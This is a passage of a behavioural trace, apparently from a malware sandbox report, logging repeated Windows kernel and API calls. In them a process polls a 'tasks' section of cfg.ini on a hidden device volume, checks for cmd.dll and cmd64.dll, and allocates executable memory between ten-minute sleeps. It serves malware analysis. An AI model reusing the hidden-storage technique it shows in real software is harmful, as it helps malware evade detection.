0x103 [0120.028] KeWaitForMutexObject () returned 0x0 [0120.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.028] KeLeaveCriticalRegion () [0120.028] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.029] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.029] KeEnterCriticalRegion () [0120.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.029] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.029] KeLeaveCriticalRegion () [0120.029] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.029] KeEnterCriticalRegion () [0120.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.029] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.029] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.029] KeLeaveCriticalRegion () [0120.029] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.029] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.029] KeEnterCriticalRegion () [0120.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.029] ExFreePoolWithTag (P=0xfffffa8003aa6fb0, Tag=0x0) [0120.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.029] KeLeaveCriticalRegion () [0120.029] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.029] ReleaseMutex (hMutex=0xf0) returned 1 [0120.029] Sleep (dwMilliseconds=0x927c0) [0120.030] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.030] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.036] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.036] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.036] KeEnterCriticalRegion () [0120.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.036] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.036] IdePortDispatch () returned 0x103 [0120.036] KeWaitForMutexObject () returned 0x0 [0120.036] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.036] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.036] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.036] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.036] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.036] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6fb0 [0120.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.036] KeLeaveCriticalRegion () [0120.036] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.037] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.037] KeEnterCriticalRegion () [0120.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.037] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.037] KeLeaveCriticalRegion () [0120.037] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.037] KeEnterCriticalRegion () [0120.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.037] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.037] IdePortDispatch () returned 0x103 [0120.037] KeWaitForMutexObject () returned 0x0 [0120.037] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.037] KeLeaveCriticalRegion () [0120.037] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.037] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.037] KeEnterCriticalRegion () [0120.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.037] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfb000 [0120.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.037] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.037] IdePortDispatch () returned 0x103 [0120.037] KeWaitForMutexObject () returned 0x0 [0120.038] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.038] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.038] IdePortDispatch () returned 0x103 [0120.038] KeWaitForMutexObject () returned 0x0 [0120.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.038] KeLeaveCriticalRegion () [0120.038] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.038] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.038] KeEnterCriticalRegion () [0120.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.038] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.038] KeLeaveCriticalRegion () [0120.039] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.039] KeEnterCriticalRegion () [0120.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.039] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.039] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.039] KeLeaveCriticalRegion () [0120.039] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.039] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.039] KeEnterCriticalRegion () [0120.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.039] ExFreePoolWithTag (P=0xfffffa8003aa6fb0, Tag=0x0) [0120.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.039] KeLeaveCriticalRegion () [0120.039] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.039] ReleaseMutex (hMutex=0xf0) returned 1 [0120.039] Sleep (dwMilliseconds=0x927c0) [0120.047] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.047] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.047] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.047] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.047] KeEnterCriticalRegion () [0120.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.047] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.047] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.047] IdePortDispatch () returned 0x103 [0120.047] KeWaitForMutexObject () returned 0x0 [0120.048] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.048] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.048] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.048] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.048] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.048] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd620 [0120.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.048] KeLeaveCriticalRegion () [0120.048] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.048] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.048] KeEnterCriticalRegion () [0120.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.048] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.048] KeLeaveCriticalRegion () [0120.048] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.048] KeEnterCriticalRegion () [0120.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.048] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.048] IdePortDispatch () returned 0x103 [0120.048] KeWaitForMutexObject () returned 0x0 [0120.048] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.048] KeLeaveCriticalRegion () [0120.048] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.048] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.048] KeEnterCriticalRegion () [0120.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.049] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfe000 [0120.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.049] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.049] IdePortDispatch () returned 0x103 [0120.049] KeWaitForMutexObject () returned 0x0 [0120.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.049] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.049] IdePortDispatch () returned 0x103 [0120.049] KeWaitForMutexObject () returned 0x0 [0120.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.049] KeLeaveCriticalRegion () [0120.049] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.050] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.050] KeEnterCriticalRegion () [0120.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.050] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.050] KeLeaveCriticalRegion () [0120.050] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.050] KeEnterCriticalRegion () [0120.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.050] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.050] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.050] KeLeaveCriticalRegion () [0120.050] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.050] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.050] KeEnterCriticalRegion () [0120.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.050] ExFreePoolWithTag (P=0xfffffa8003bcd620, Tag=0x0) [0120.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.050] KeLeaveCriticalRegion () [0120.050] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.050] ReleaseMutex (hMutex=0xf0) returned 1 [0120.050] Sleep (dwMilliseconds=0x927c0) [0120.065] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.065] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.065] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.065] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.065] KeEnterCriticalRegion () [0120.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.066] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.066] IdePortDispatch () returned 0x103 [0120.066] KeWaitForMutexObject () returned 0x0 [0120.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.066] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.066] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.066] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.066] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.066] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc26a0 [0120.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.066] KeLeaveCriticalRegion () [0120.066] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.066] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.066] KeEnterCriticalRegion () [0120.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.066] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.066] KeLeaveCriticalRegion () [0120.066] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.066] KeEnterCriticalRegion () [0120.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.066] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.066] IdePortDispatch () returned 0x103 [0120.066] KeWaitForMutexObject () returned 0x0 [0120.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.067] KeLeaveCriticalRegion () [0120.067] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.067] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.067] KeEnterCriticalRegion () [0120.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.067] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8b000 [0120.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.067] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.067] IdePortDispatch () returned 0x103 [0120.067] KeWaitForMutexObject () returned 0x0 [0120.067] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.067] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.067] IdePortDispatch () returned 0x103 [0120.067] KeWaitForMutexObject () returned 0x0 [0120.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.067] KeLeaveCriticalRegion () [0120.067] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.068] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.068] KeEnterCriticalRegion () [0120.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.068] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.068] KeLeaveCriticalRegion () [0120.068] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.068] KeEnterCriticalRegion () [0120.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.068] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.068] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2a50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.068] KeLeaveCriticalRegion () [0120.068] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.068] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.068] KeEnterCriticalRegion () [0120.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.068] ExFreePoolWithTag (P=0xfffffa8003bc26a0, Tag=0x0) [0120.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.068] KeLeaveCriticalRegion () [0120.068] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.068] ReleaseMutex (hMutex=0xf0) returned 1 [0120.068] Sleep (dwMilliseconds=0x927c0) [0120.083] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, 